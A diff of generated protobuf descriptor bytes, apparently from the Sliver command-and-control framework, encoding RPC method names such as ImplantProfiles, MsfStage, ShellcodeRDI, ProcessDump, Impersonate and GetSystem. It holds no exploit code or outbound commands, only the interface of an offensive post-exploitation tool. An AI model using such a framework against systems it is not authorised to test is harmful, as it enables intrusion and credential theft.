- 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65,
- 0x12, 0x45, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63,
- 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
- 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
+ 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x69, 0x71, 0x75,
+ 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x3d, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74,
+ 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
+ 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66,
+ 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3c, 0x0a, 0x14, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6d,
+ 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x13, 0x2e, 0x63,
+ 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65,
+ 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70,
+ 0x74, 0x79, 0x12, 0x48, 0x0a, 0x12, 0x53, 0x61, 0x76, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e,
+ 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
+ 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69,
+ 0x6c, 0x65, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d,
+ 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x37, 0x0a, 0x08,
+ 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
+ 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71,
+ 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53,
+ 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f,
+ 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
+ 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71,
+ 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c,
+ 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43,
+ 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
+ 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
+ 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x46, 0x0a, 0x15,
+ 0x47, 0x65, 0x74, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x43, 0x6f, 0x6d,
+ 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
+ 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x43, 0x6f, 0x6d, 0x70,
+ 0x69, 0x6c, 0x65, 0x72, 0x12, 0x4b, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64,
+ 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63,
- 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x41, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66,
- 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63,
- 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1b, 0x2e,
+ 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64,
+ 0x65, 0x12, 0x45, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e,
+ 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
+ 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e,
+ 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x41, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66,
+ 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e,
+ 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1b,
+ 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69,
+ 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x4c, 0x0a, 0x11, 0x54,
+ 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x41, 0x64, 0x64,
+ 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66,
+ 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69,
+ 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63,
+ 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x3d, 0x0a, 0x10, 0x54, 0x72, 0x61,
+ 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x6d, 0x12, 0x18, 0x2e,
0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63,
- 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x4c, 0x0a, 0x11, 0x54, 0x72,
- 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x41, 0x64, 0x64, 0x12,
- 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66,
- 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65,
- 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f,
- 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x3d, 0x0a, 0x10, 0x54, 0x72, 0x61, 0x66,
- 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x6d, 0x12, 0x18, 0x2e, 0x63,
- 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45,
- 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
- 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69,
- 0x74, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45,
- 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
- 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73,
- 0x69, 0x74, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57,
- 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
- 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x33, 0x0a, 0x0d, 0x57, 0x65, 0x62,
- 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69,
- 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x0f, 0x2e,
- 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x43,
- 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74,
- 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57,
- 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74,
- 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73,
- 0x69, 0x74, 0x65, 0x12, 0x46, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x55, 0x70,
- 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c,
- 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64,
- 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x49, 0x0a, 0x14, 0x57,
- 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74,
- 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57,
- 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74,
- 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57,
- 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x26, 0x0a, 0x04, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x0e,
- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x1a, 0x0e,
- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x23,
- 0x0a, 0x02, 0x50, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x50, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
- 0x2e, 0x50, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65,
- 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d,
- 0x69, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x35, 0x0a,
- 0x08, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76,
- 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, 0x71,
- 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f,
- 0x6e, 0x66, 0x69, 0x67, 0x12, 0x32, 0x0a, 0x07, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12,
- 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74,
- 0x61, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
- 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x4c, 0x73, 0x12, 0x0f,
- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x52, 0x65, 0x71, 0x1a,
- 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x24, 0x0a,
- 0x02, 0x43, 0x64, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43,
- 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x50, 0x77, 0x64, 0x12, 0x26, 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69,
- 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x23, 0x0a, 0x02, 0x4d,
- 0x76, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, 0x52,
- 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76,
- 0x12, 0x23, 0x0a, 0x02, 0x43, 0x70, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
- 0x62, 0x2e, 0x43, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x43, 0x70, 0x12, 0x23, 0x0a, 0x02, 0x52, 0x6d, 0x12, 0x0f, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x12, 0x2c, 0x0a, 0x05, 0x4d, 0x6b,
- 0x64, 0x69, 0x72, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d,
- 0x6b, 0x64, 0x69, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x35, 0x0a, 0x08, 0x44, 0x6f, 0x77, 0x6e,
- 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12,
- 0x2f, 0x0a, 0x06, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76,
- 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x10,
- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64,
- 0x12, 0x29, 0x0a, 0x04, 0x47, 0x72, 0x65, 0x70, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x47, 0x72, 0x65, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x72, 0x65, 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x43,
- 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6f,
- 0x77, 0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68,
- 0x6f, 0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
- 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x32, 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69, 0x6d,
- 0x65, 0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68,
- 0x74, 0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x37, 0x0a, 0x0c, 0x4d,
- 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x19, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c,
- 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
- 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73,
- 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d,
- 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e,
- 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65,
- 0x73, 0x41, 0x64, 0x64, 0x12, 0x3b, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73,
- 0x52, 0x6d, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65,
- 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52,
- 0x6d, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70,
- 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63,
- 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69,
- 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d,
- 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69,
- 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0f,
- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12,
- 0x3e, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x18,
- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73,
- 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12,
- 0x38, 0x0a, 0x09, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x16, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c,
- 0x66, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x38, 0x0a, 0x09, 0x47, 0x65, 0x74,
- 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
- 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x13,
- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73,
- 0x74, 0x65, 0x6d, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x11, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x0e,
- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x27,
